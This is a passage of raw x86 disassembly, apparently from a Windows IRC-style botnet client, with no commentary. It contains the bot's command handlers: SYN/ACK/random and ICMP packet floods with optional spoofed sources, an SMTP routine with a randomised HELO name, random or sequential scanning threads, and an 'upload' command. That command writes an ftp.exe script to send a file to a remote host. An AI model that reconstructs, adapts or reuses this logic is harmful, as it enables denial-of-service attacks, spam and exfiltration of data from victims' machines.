		call	sub_41BEB0
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	[ebp+esi+var_7C]
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CAEE4
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CAFF8
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CAFF4
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CAF74
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CAFC4
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		push	esi
		call	dword_4CB00C
		call	dword_4CAECC
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42A9CC


loc_406CCF:				; CODE XREF: sub_401ACD+2E82j
					; sub_401ACD+4666j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886


loc_406CDB:				; CODE XREF: sub_401ACD+248Bj
		add	esp, 0Ch


loc_406CDE:				; CODE XREF: sub_401ACD+4584j
					; sub_401ACD+6653j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406CFF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_406CFF:				; CODE XREF: sub_401ACD+29B2j
					; sub_401ACD+2A05j ...
		mov	esi, [ebp+arg_24]


loc_406D02:				; CODE XREF: sub_401ACD+68F2j
					; sub_401ACD+78E2j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_406D16:				; CODE XREF: sub_401ACD+50ACj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D40
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E8


loc_406D40:				; CODE XREF: sub_401ACD+525Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DB
		jmp	loc_4040AA
; ---------------------------------------------------------------------------


loc_406D6E:				; CODE XREF: sub_401ACD+507Ej
					; sub_401ACD+5095j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		push	offset unk_42A984
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_406DD3:				; CODE XREF: sub_401ACD+52CCj
					; sub_401ACD+52E3j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406EFF
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E70
		mov	eax, offset aNormal ; "Normal"


loc_406E70:				; CODE XREF: sub_401ACD+539Cj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42A940
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset byte_413E35
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_406EEE


loc_406ED8:				; CODE XREF: sub_401ACD+541Fj
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 26705B3h
		nop
		jmp	short loc_406ED8
; ---------------------------------------------------------------------------


loc_406EEE:				; CODE XREF: sub_401ACD+5409j
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_42A908
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_406EFF:				; CODE XREF: sub_401ACD+5317j
		push	offset unk_42A8D0


loc_406F04:				; CODE XREF: sub_401ACD+2018j
					; sub_401ACD+202Ej ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_406F17:				; CODE XREF: sub_401ACD+5039j
					; sub_401ACD+5050j ...
		cmp	dword_4CB064, ebx
		jnz	loc_407026
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42A888
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset dword_413284
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407015


loc_406FFF:				; CODE XREF: sub_401ACD+5546j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_406FFF
; ---------------------------------------------------------------------------


loc_407015:				; CODE XREF: sub_401ACD+5530j
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_42A850
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_407026:				; CODE XREF: sub_401ACD+5450j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408288
; ---------------------------------------------------------------------------


loc_407041:				; CODE XREF: sub_401ACD+500Bj
					; sub_401ACD+5022j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42A7FC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713B


loc_4070C4:				; CODE XREF: sub_401ACD+561Bj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A4
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070EC
		cmp	eax, ebx
		jnz	short loc_40710B
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C4
		jmp	short loc_407144
; ---------------------------------------------------------------------------


loc_4070EC:				; CODE XREF: sub_401ACD+560Cj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A7C4


loc_4070F5:				; CODE XREF: sub_401ACD+5680j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4072E8
; ---------------------------------------------------------------------------


loc_40710B:				; CODE XREF: sub_401ACD+5610j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A790
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h


loc_40713B:				; CODE XREF: sub_401ACD+55F5j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E8


loc_407144:				; CODE XREF: sub_401ACD+561Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A75C
		jmp	short loc_4070F5
; ---------------------------------------------------------------------------


loc_40714F:				; CODE XREF: sub_401ACD+4FC6j
					; sub_401ACD+4FDDj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B4
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BA
; ---------------------------------------------------------------------------


loc_4071B4:				; CODE XREF: sub_401ACD+56D6j
		mov	[ebp+var_C70], ebx


loc_4071BA:				; CODE XREF: sub_401ACD+56E5j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42A714
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset dword_413410
		push	ebx
		push	ebx
		call	near ptr 2670659h
		nop
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40725D


loc_40724B:				; CODE XREF: sub_401ACD+578Ej
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407278
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_40724B
; ---------------------------------------------------------------------------


loc_40725D:				; CODE XREF: sub_401ACD+577Cj
		call	near ptr 2680000h
		nop
		push	eax
		push	offset unk_42A6DC


loc_407269:				; CODE XREF: sub_401ACD+4E31j
					; sub_401ACD+62BEj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_407278:				; CODE XREF: sub_401ACD+4E15j
					; sub_401ACD+5784j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	[ebp+var_4]


loc_407285:				; CODE XREF: sub_401ACD+22DEj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A8
; ---------------------------------------------------------------------------


loc_407298:				; CODE XREF: sub_401ACD+4F98j
					; sub_401ACD+4FAFj
		push	0Bh
		call	sub_40B33E
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407454
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A69C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h


loc_4072E8:				; CODE XREF: sub_401ACD+526Dj
					; sub_401ACD+5639j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		push	4
		push	esi
		call	sub_416908
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407324
		push	esi
		push	offset unk_42A674
		jmp	loc_408CDB
; ---------------------------------------------------------------------------


loc_407324:				; CODE XREF: sub_401ACD+584Aj
		call	near ptr 2680D12h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAEE0
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F3
		push	offset unk_42A604
		jmp	short loc_4073F8
; ---------------------------------------------------------------------------


loc_4073F3:				; CODE XREF: sub_401ACD+591Dj
		push	offset unk_42A5D4


loc_4073F8:				; CODE XREF: sub_401ACD+5924j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407421
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_407421:				; CODE XREF: sub_401ACD+5936j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC


loc_40742D:				; CODE XREF: sub_401ACD+5985j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416908
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742D
; ---------------------------------------------------------------------------


loc_407454:				; CODE XREF: sub_401ACD+57E5j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748D
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_40748D:				; CODE XREF: sub_401ACD+59B5j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749A
		mov	[ebp+var_36C], ecx


loc_40749A:				; CODE XREF: sub_401ACD+59C5j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BC
		mov	[ebp+var_368], eax


loc_4074BC:				; CODE XREF: sub_401ACD+59E7j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431408, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750B
		mov	edi, offset dword_431408


loc_4074D3:				; CODE XREF: sub_401ACD+5A20j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F1
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D3
		jmp	short loc_40750B
; ---------------------------------------------------------------------------


loc_4074F1:				; CODE XREF: sub_401ACD+5A16j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431408[ecx]
		mov	[ebp+var_370], ecx


loc_40750B:				; CODE XREF: sub_401ACD+59FFj
					; sub_401ACD+5A22j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751D
		push	offset unk_42A5A0
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40751D:				; CODE XREF: sub_401ACD+5A44j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407558
		cmp	byte ptr [edi],	23h
		jz	short loc_407558
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407632
; ---------------------------------------------------------------------------


loc_407558:				; CODE XREF: sub_401ACD+5A59j
					; sub_401ACD+5A5Ej
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757A
		push	offset unk_42A56C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40757A:				; CODE XREF: sub_401ACD+5A91j
					; sub_401ACD+5A99j ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CAF18
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762C
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407620


loc_4075FE:				; CODE XREF: sub_401ACD+5B51j
		cmp	eax, ebx
		jz	short loc_407620
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FE


loc_407620:				; CODE XREF: sub_401ACD+5B2Fj
					; sub_401ACD+5B33j
		mov	[ebp+var_344], 1
		jmp	short loc_407632
; ---------------------------------------------------------------------------


loc_40762C:				; CODE XREF: sub_401ACD+5B09j
		mov	[ebp+var_344], ebx


loc_407632:				; CODE XREF: sub_401ACD+5A86j
					; sub_401ACD+5B5Dj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407683


loc_407670:				; CODE XREF: sub_401ACD+5BD9j
		push	esi


loc_407671:				; CODE XREF: sub_401ACD+5BC3j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AE
; ---------------------------------------------------------------------------


loc_407683:				; CODE XREF: sub_401ACD+5BA1j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407692
		cmp	byte ptr [eax],	23h
		jnz	short loc_407692
		push	eax
		jmp	short loc_407671
; ---------------------------------------------------------------------------


loc_407692:				; CODE XREF: sub_401ACD+5BBBj
					; sub_401ACD+5BC0j
		mov	esi, offset aF	; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407670
		mov	[ebp+var_3F4], bl


loc_4076AE:				; CODE XREF: sub_401ACD+5BB4j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C0
		mov	eax, offset aSequential	; "Sequential"


loc_4076C0:				; CODE XREF: sub_401ACD+5BECj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A504
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40774E


loc_407738:				; CODE XREF: sub_401ACD+5C7Fj
		cmp	[ebp+var_340], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_407738
; ---------------------------------------------------------------------------


loc_40774E:				; CODE XREF: sub_401ACD+5C69j
		call	near ptr 2680000h
		nop
		push	eax
		push	offset unk_42A4CC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40775F:				; CODE XREF: sub_401ACD+4F6Aj
					; sub_401ACD+4F81j
		push	[ebp+arg_10]
		call	sub_40AAF9
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A47C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40C759
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407854


loc_40783E:				; CODE XREF: sub_401ACD+5D85j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_40783E
; ---------------------------------------------------------------------------


loc_407854:				; CODE XREF: sub_401ACD+5D6Fj
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_42A440
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407865:				; CODE XREF: sub_401ACD+4F2Dj
					; sub_401ACD+4F44j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEC8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A434
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCB0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEC8
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A35
; ---------------------------------------------------------------------------


loc_40795D:				; CODE XREF: sub_401ACD+4EFFj
					; sub_401ACD+4F16j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEC8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
